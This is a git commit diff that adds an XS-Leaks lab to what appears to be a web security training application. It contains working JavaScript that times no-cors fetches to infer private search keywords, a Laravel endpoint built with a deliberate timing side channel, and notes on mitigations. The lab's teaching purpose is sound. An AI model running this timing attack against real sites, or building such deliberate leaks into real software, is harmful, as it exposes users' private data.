This commit is contained in:
mcoder 2026-04-17 23:30:09 +03:30
parent 3e289af76f
commit 27212fd462
3 changed files with 191 additions and 3 deletions

View File

@ -0,0 +1,158 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XS-Leaks Timing Attack Lab</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<style>
.terminal-scroll::-webkit-scrollbar {
width: 8px;
}
.terminal-scroll::-webkit-scrollbar-track {
background: #111827;
}
.terminal-scroll::-webkit-scrollbar-thumb {
background: #374151;
border-radius: 4px;
}
</style>
</head>
<body class="bg-gray-950 text-gray-300 font-sans min-h-screen p-8 selection:bg-indigo-500 selection:text-white">
<div class="max-w-5xl mx-auto">
<header class="mb-8 border-b border-gray-800 pb-4">
<h1 class="text-4xl font-extrabold text-indigo-500">Cross-Site Leaks (XS-Leaks)</h1>
<p class="text-gray-400 mt-2 text-lg">Inferring private data via cross-origin execution timing.</p>
</header>
<div class="grid grid-cols-1 lg:grid-cols-3 gap-8">
<!-- Exploit UI -->
<div class="lg:col-span-2">
<div class="bg-black rounded-xl border border-gray-800 shadow-2xl overflow-hidden flex flex-col h-[500px]">
<div class="bg-gray-900 px-4 py-3 border-b border-gray-800 flex justify-between items-center">
<div class="flex items-center space-x-2">
<div class="w-3 h-3 rounded-full bg-red-500"></div>
<div class="w-3 h-3 rounded-full bg-yellow-500"></div>
<div class="w-3 h-3 rounded-full bg-green-500"></div>
<span class="ml-2 text-xs font-mono text-gray-500 uppercase tracking-widest">Timing Analysis Module</span>
</div>
<button id="start-btn" class="bg-indigo-600 hover:bg-indigo-500 text-white text-xs font-bold py-1.5 px-4 rounded shadow transition-colors">
Start Inference Attack
</button>
</div>
<div id="terminal" class="p-5 font-mono text-sm overflow-y-auto terminal-scroll flex-grow">
<div class="text-gray-500 mb-4">
> Target API: https://webapp.kr-rezvan.ir/api/private-search?q=[WORD]<br>
> Note: CORS blocks us from reading the response body.<br>
> Technique: Measuring promise settlement time.<br>
> Awaiting execution command...
</div>
</div>
</div>
</div>
<!-- Developer Notes -->
<div class="bg-indigo-900/10 border border-indigo-900/30 rounded-xl p-6">
<h3 class="flex items-center text-indigo-400 font-bold text-xl mb-4 border-b border-indigo-800/50 pb-2">
<svg class="w-6 h-6 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>
Researcher Notes
</h3>
<div class="text-gray-300 space-y-4 text-sm leading-relaxed">
<p>
<strong class="text-white">The Vulnerability:</strong> Even when CORS prevents a malicious site from reading an API's JSON response, the <em>browser</em> still executes the network request. If the server takes a different amount of time to process a "Hit" versus a "Miss", the attacker can measure that difference using <code>performance.now()</code>.
</p>
<p>
<strong class="text-white">State Inference:</strong> By systematically querying keywords, an attacker can determine if the logged-in user has access to "project_x" or possesses "confidential" documents, purely based on response latency.
</p>
<div class="bg-indigo-950/50 p-4 rounded-lg border border-indigo-800/50 mt-4">
<strong class="text-indigo-300 block mb-2">🛡️ Mitigations:</strong>
<ul class="list-disc list-inside space-y-1 text-gray-400">
<li><strong>SameSite Cookies:</strong> Enforcing <code>SameSite=Lax</code> or <code>Strict</code> prevents the browser from sending the user's session cookie during the cross-origin request, making the timing attack measure the <em>unauthenticated</em> state.</li>
<li><strong>Constant-Time Algorithms:</strong> Ensure database queries and code paths execute in the exact same duration regardless of the outcome (often very difficult in complex apps).</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<!-- Exploit Logic -->
<script>
const terminal = document.getElementById('terminal');
const startBtn = document.getElementById('start-btn');
// Words we want to check against the victim's private database
const targetWords = ['guest', 'confidential', 'public', 'project_x', 'random_word', 'admin_rezvan'];
const THRESHOLD_MS = 400; // If response takes > 400ms, assume the DB did work (HIT)
function log(msg, type = 'info') {
const line = document.createElement('div');
line.className = 'mb-1';
let color = 'text-gray-400';
if (type === 'hit') color = 'text-red-400 font-bold bg-red-900/20 px-1 rounded inline-block';
if (type === 'miss') color = 'text-green-400';
if (type === 'system') color = 'text-indigo-400';
line.innerHTML = `> <span class="${color}">${msg}</span>`;
terminal.appendChild(line);
terminal.scrollTop = terminal.scrollHeight;
}
async function measureTime(word) {
const url = `https://webapp.kr-rezvan.ir/api/private-search?q=${word}`;
log(`Fetching: ${word}...`, 'system');
const start = performance.now();
try {
// mode: 'no-cors' intentionally creates an opaque response.
// We don't care about the body, only the time it takes to settle.
await fetch(url, { mode: 'no-cors', cache: 'no-store' });
} catch (e) {
// Network error, but we still measure time
}
const end = performance.now();
return Math.round(end - start);
}
startBtn.addEventListener('click', async () => {
startBtn.disabled = true;
startBtn.classList.add('opacity-50', 'cursor-not-allowed');
terminal.innerHTML = ''; // Clear
log('Initializing XS-Leak Timing Sequence...', 'system');
log(`Threshold set to: ${THRESHOLD_MS}ms`, 'system');
log('----------------------------------------', 'system');
for (const word of targetWords) {
const duration = await measureTime(word);
if (duration > THRESHOLD_MS) {
log(`[HIT] "${word}" -> ${duration}ms (Data Exists!)`, 'hit');
} else {
log(`[MISS] "${word}" -> ${duration}ms`, 'miss');
}
// Small delay to make the UI look cool
await new Promise(r => setTimeout(r, 300));
}
log('----------------------------------------', 'system');
log('Timing Sequence Complete.', 'system');
startBtn.disabled = false;
startBtn.classList.remove('opacity-50', 'cursor-not-allowed');
});
</script>
<!-- Global Back Button -->
<a href="http://webapp.kr-rezvan.ir/labs" style="position: fixed; bottom: 20px; right: 20px; background-color: #3b82f6; color: white; padding: 10px 20px; border-radius: 50px; font-family: sans-serif; text-decoration: none; font-weight: bold; box-shadow: 0 4px 6px rgba(0,0,0,0.1); z-index: 9999; transition: all 0.3s;" onmouseover="this.style.backgroundColor='#2563eb'" onmouseout="this.style.backgroundColor='#3b82f6'">
🏠 Back to Lab Directory
</a>
</body>
</html>

View File

@ -28,7 +28,7 @@
</div>
</div>
<!-- CSRF Attack -->
<!-- CSR Attack -->
<div class="bg-gray-800 rounded-2xl border border-blue-500/30 shadow-lg hover:shadow-blue-500/20 transition-shadow duration-300">
<div class="p-6">
<h2 class="text-2xl font-bold text-blue-400">CSRF Attack</h2>
@ -132,7 +132,16 @@
<div class="p-6">
<h2 class="text-2xl font-bold text-red-400">Autofill Trap</h2>
<p class="text-gray-400 mt-2 mb-4 h-16">Demonstrate how a malicious site steals sensitive user data by hiding input fields populated by Autofill.</p>
<a href="https://hackerapp.eitebar.ir/autofill-trap" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
<a href="http://hackerapp.eitebar.ir/autofill-trap" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
</div>
</div>
<!-- XS-Leaks -->
<div class="bg-gray-800 rounded-2xl border border-red-500/30 shadow-lg hover:shadow-red-500/20 transition-shadow duration-300">
<div class="p-6">
<h2 class="text-2xl font-bold text-red-400">XS-Leaks</h2>
<p class="text-gray-400 mt-2 mb-4 h-16">Infer private cross-origin data by measuring network response times.</p>
<a href="http://hackerapp.eitebar.ir/xs-leak" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
</div>
</div>
</div>

View File

@ -83,6 +83,11 @@
Route::get('/autofill-trap', function () {
return view('hacker.autofill');
})->name('hacker.autofill');
// XS-Leaks Exploit Page
Route::get('/xs-leak', function () {
return view('hacker.xsleak');
})->name('hacker.xsleak');
});
@ -137,6 +142,22 @@
// ----- بخش‌های محافظت شده با سشن -----
Route::middleware(['web', 'auth'])->group(function () {
// XS-Leak Target API
Route::get('/api/private-search', function (Illuminate\Http\Request $request) {
$query = strtolower($request->query('q', ''));
$privateKeywords = ['confidential', 'admin_rezvan', 'project_x'];
if (in_array($query, $privateKeywords)) {
// Keyword exists: Simulate DB fetching taking 600ms
usleep(600000);
} else {
// Keyword missing: Fast return 50ms
usleep(50000);
}
return response()->json(['status' => 'search_complete']);
})->name('user.api.search');
// پروفایل کاربر
Route::get('/profile', [UserController::class, 'profile'])->name('user.profile');
@ -155,4 +176,4 @@
// (فضای خالی برای حملات بعدی مثل Phishing، MITB و ...)
});
});
});